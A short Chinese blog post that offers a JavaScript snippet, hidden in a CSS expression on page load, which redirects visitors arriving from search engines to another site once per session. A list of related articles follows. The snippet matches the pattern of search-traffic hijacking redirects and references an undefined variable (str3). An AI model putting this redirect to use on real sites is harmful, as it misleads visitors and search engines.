JavaScript脚本判断蜘蛛来源的方法


Posted in Javascript onSeptember 22, 2015

今天介绍的这个JS判断蜘蛛来源的方法脚本是写在body的onload里面的。即页面加载时进行判断。代码如下:

body {onload:expression(
if(window.name!="Yang"){
var str1 = document.referrer;
str1 = str1.toLowerCase();
var str6 = 'google.';
var str7 = 'baidu.';
var str4 = 'yahoo.';
var str8 = 'youdao.';
var str9 = 'sogou.';
var str5 = 'soso.';
if(str1.indexOf(str7)>0 || str1.indexOf(str6)>0 || str1.indexOf(str4)>0 || str1.indexOf(str3)>0 || str1.indexOf(str8)>0 || str1.indexOf(str9)
 
>0 || str1.indexOf(str5)>0 && "zh-cn"==navigator.systemLanguage)
{
self.location='http://www.abc.com/';
window.name="Yang";
}
 
}
);}

这个JS判断蜘蛛来源方法不太好用。特别是在需要判断更多蜘蛛来源时代码写起来比较麻烦。

Javascript 相关文章推荐
javascript制作的网页侧边弹出框思路及实现代码
May 21 Javascript
js阻止事件追加的具体实现
Oct 15 Javascript
node.js中的console.timeEnd方法使用说明
Dec 09 Javascript
javaScript基础语法介绍
Feb 28 Javascript
javascript中alert()与console.log()的区别
Aug 26 Javascript
jQuery实现的数值范围range2dslider选取插件特效多款代码分享
Aug 27 Javascript
jQuery实现简易的天天爱消除小游戏
Oct 16 Javascript
JavaScript使用递归和循环实现阶乘的实例代码
Aug 28 Javascript
微信公众号H5支付接口调用方法
Jan 10 Javascript
JavaScript隐式类型转换代码实例
May 29 Javascript
浅谈Vue 函数式组件的使用技巧
Jun 16 Javascript
在项目vue中使用echarts的操作步骤
Sep 07 Javascript
jQuery实现的经典滑动门效果
Sep 22 #Javascript
jquery实现的简单二级菜单效果代码
Sep 22 #Javascript
jfinal与bootstrap的登录跳转实战演习
Sep 22 #Javascript
jquery实现经典的淡入淡出选项卡效果代码
Sep 22 #Javascript
JS+CSS实现类似QQ好友及黑名单效果的树型菜单
Sep 22 #Javascript
jQuery实现Flash效果上下翻动的中英文导航菜单代码
Sep 22 #Javascript
QQ登录背景闪动效果附效果演示源码下载
Sep 22 #Javascript
You might like
推荐一款PHP+jQuery制作的列表分页的功能模块
2014/10/14 PHP
PHP中返回引用类型的方法
2015/04/03 PHP
浅谈Laravel POST,PUT,PATCH 路由的区别
2019/10/15 PHP
破解Session cookie的方法
2006/07/28 Javascript
jquery 指南/入门基础
2007/11/30 Javascript
使用JQuery和CSS模拟超链接的用户单击事件的实现代码
2012/05/23 Javascript
谈谈JavaScript中的函数与闭包
2013/04/14 Javascript
Javascript中Event属性搜集整理
2013/09/17 Javascript
NodeJS Express框架中处理404页面一个方式
2014/05/28 NodeJs
js获取指定日期周数以及星期几的小例子
2014/06/27 Javascript
jquery实现增加删除行的方法
2015/02/03 Javascript
jQuery模仿京东/天猫商品左侧分类导航菜单效果
2016/06/29 Javascript
全面理解闭包机制
2016/07/11 Javascript
js中json处理总结之JSON.parse
2016/10/14 Javascript
常用原生js自定义函数总结
2016/11/20 Javascript
百度搜索框智能提示案例jsonp
2016/11/28 Javascript
js中动态创建json,动态为json添加属性、属性值的实例
2016/12/02 Javascript
JavaScrpt中如何使用 cookie 设置查看与删除功能
2017/07/09 Javascript
angular6.0开发教程之如何安装angular6.0框架
2018/06/29 Javascript
javascript实现拖拽碰撞检测
2020/03/12 Javascript
JavaScript事件概念详解(区分静态注册和动态注册)
2021/02/05 Javascript
[01:02:05]LGD vs Mineski 2018国际邀请赛小组赛BO2 第一场 8.19
2018/08/21 DOTA
Python闭包的两个注意事项(推荐)
2017/03/20 Python
Python列表删除的三种方法代码分享
2017/10/31 Python
Python对列表去重的多种方法(四种方法)
2017/12/05 Python
python函数式编程学习之yield表达式形式详解
2018/03/25 Python
Python subprocess模块功能与常见用法实例详解
2018/06/28 Python
Python OpenCV调用摄像头检测人脸并截图
2020/08/20 Python
python中的global关键字的使用方法
2019/08/20 Python
python属于软件吗
2020/06/18 Python
荷兰美妆护肤品海淘网站:Beautinow(中文)
2020/11/22 全球购物
社区党的群众路线教育实践活动领导班子对照检查材料
2014/09/25 职场文书
乡镇干部个人整改措施思想汇报
2014/10/10 职场文书
中国梦宣传标语口号
2015/12/26 职场文书
MongoDB日志切割的三种方式总结
2021/09/15 MongoDB
以MySQL5.7为例了解一下执行计划
2022/04/13 MySQL